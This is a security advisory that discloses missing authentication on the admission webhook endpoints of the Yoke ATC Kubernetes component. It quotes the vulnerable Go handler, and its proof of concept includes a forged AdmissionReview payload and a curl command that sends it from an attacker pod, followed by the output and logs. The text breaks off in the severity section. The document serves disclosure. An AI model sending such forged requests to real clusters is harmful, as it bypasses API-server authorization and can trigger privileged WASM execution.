GHSA-965m-v4cc-6334 Unauthenticated Admission Webhook Endpoints in Yoke ATC

• Go github.com/yokecd/yoke: <= 0.19.0 (no fix yet)

Unauthenticated Admission Webhook Endpoints in Yoke ATC This vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. The ATC webhook endpoints lack proper authentication mechanisms, allowing any pod within the cluster network to directly send AdmissionReview requests to the webhook, bypassing Kubernetes API Server authentication. This enables attackers to trigger WASM module execution in the ATC controller context without proper authorization. Recommended CWE: CWE-306 (Missing Authentication for Critical Function) Summary Yoke ATC implements multiple Admission Webhook endpoints (`/validations/{airway}`, `/validations/resources`, `/validations/flights.yoke.cd`, `/validations/airways.yoke.cd`, etc.) that process AdmissionReview requests. These endpoints do not implement TLS client certificate authentication or request source validation. Any client that can reach the ATC service within the cluster can send requests directly to these endpoints, bypassing the Kubernetes API Server's authentication and authorization mechanisms. Details The vulnerability exists in the HTTP handler implementation where webhook endpoints accept and process requests without verifying the client identity. Vulnerable Endpoint Handlers (`cmd/atc/handler.go:147-335`): ```go mux.HandleFunc("POST /validations/{airway}", func(w http.ResponseWriter, r *http.Request) { var review admissionv1.AdmissionReview if err := json.NewDecoder(r.Body).Decode(&review); err != nil { http.Error(w, fmt.Sprintf("failed to decode review: %v", err), http.StatusBadRequest) return } // No authentication check - request is processed directly // ... }) ``` Additional Unauthenticated Endpoints: • `/validations/resources` (`cmd/atc/handler.go:337-538`) • `/validations/external-resources` (`cmd/atc/handler.go:540-597`) • `/validations/airways.yoke.cd` (`cmd/atc/handler.go:599-636`) • `/validations/flights.yoke.cd` (`cmd/atc/handler.go:638-733`) • `/crdconvert/{airway}` (`cmd/atc/handler.go:61-145`) The code lacks: 1. TLS client certificate verification 2. Request source validation (verifying requests come from kube-apiserver) 3. Any form of authentication middleware PoC Environment Setup Prerequisites: • Docker installed and running • kubectl installed • Go 1.21+ installed • kind installed Step 1: Create Kind cluster ```bash cat > /tmp/kind-config.yaml /tmp/malicious-review.json << 'EOF' { "apiVersion": "admission.k8s.io/v1", "kind": "AdmissionReview", "request": { "uid": "vul002-exploit-uid", "kind": {"group": "examples.com", "version": "v1", "kind": "Backend"}, "resource": {"group": "examples.com", "version": "v1", "resource": "backends"}, "name": "exploit-backend", "namespace": "default", "operation": "CREATE", "userInfo": {"username": "attacker-from-pod", "groups": ["system:unauthenticated"]}, "object": { "apiVersion": "examples.com/v1", "kind": "Backend", "metadata": {"name": "exploit-backend", "namespace": "default"}, "spec": {"image": "nginx:latest", "replicas": 1} } } } EOF kubectl cp /tmp/malicious-review.json webhook-attacker:/tmp/malicious-review.json ``` Send the request: ```bash kubectl exec webhook-attacker -- curl -k -s -X POST \ https://atc-atc.atc.svc.cluster.local:80/validations/backends.examples.com \ -H "Content-Type: application/json" \ -d @/tmp/malicious-review.json ``` Actual output from verification: ```json {"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"vul002-normal-test","kind":{"group":"examples.com","version":"v1","kind":"Backend"},"resource":{"group":"examples.com","version":"v1","resource":"backends"},"name":"vul002-normal-backend","namespace":"default","operation":"CREATE","userInfo":{"username":"attacker-from-pod","groups":["system:unauthenticated"]},"object":{"apiVersion":"examples.com/v1","kind":"Backend","metadata":{"name":"vul002-normal-backend","namespace":"default"},"spec":{"image":"nginx:latest","replicas":1}},"oldObject":null,"options":null},"response":{"uid":"vul002-normal-test","allowed":false,"status":{"metadata":{},"status":"Failure","message":"applying resource returned errors during dry-run..."}}} ``` Step 4: Verify ATC logs ```bash kubectl logs -n atc deployment/atc-atc --tail=20 | grep backends.examples.com ``` Actual log output: ```json {"time":"2026-02-01T15:29:08.890991543Z","level":"INFO","msg":"request served","component":"server","code":200,"method":"POST","path":"/validations/backends.examples.com","elapsed":"435ms","validation":{"allowed":false,"status":"Invalid"}} ``` The `elapsed: 435ms` indicates WASM module execution occurred. Expected Result The attacker pod successfully sends AdmissionReview requests directly to the ATC webhook endpoint without any authentication. The ATC controller processes the request and executes the WASM module, proving that: 1. No TLS client certificate is required 2. No request source validation occurs 3. The fake `userInfo` is accepted without verification 4. WASM modules are executed based on unauthenticated requests Impact Vulnerability Type: Missing Authentication / Authentication Bypass Attack Prerequisites: • Attacker has access to a pod within the cluster network • Network policies do not restrict access to the ATC service (common in default configurations) Impact Assessment: • Confidentiality: Medium - Attacker can trigger WASM execution which may access controller context data • Integrity: High - Combined with VUL-001, attacker can create arbitrary Kubernetes resources • Availability: Medium - Attacker can cause resource exhaustion through repeated requests Attack Scenario: 1. Attacker compromises a pod or gains access to the cluster network 2. Attacker sends crafted AdmissionReview requests directly to ATC webhook 3. ATC processes requests without verifying they came from the API Server 4. Combined with annotation injection (VUL-001), attacker can execute arbitrary WASM code 5. Malicious WASM can create resources or exfiltrate data using ATC's cluster-admin privileges Severity CVSS v3.1 Score: 7.5 (High) Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N • Attack Vector (AV): Network - Accessible from cluster network • Attack Complexity (AC): Low - Simple …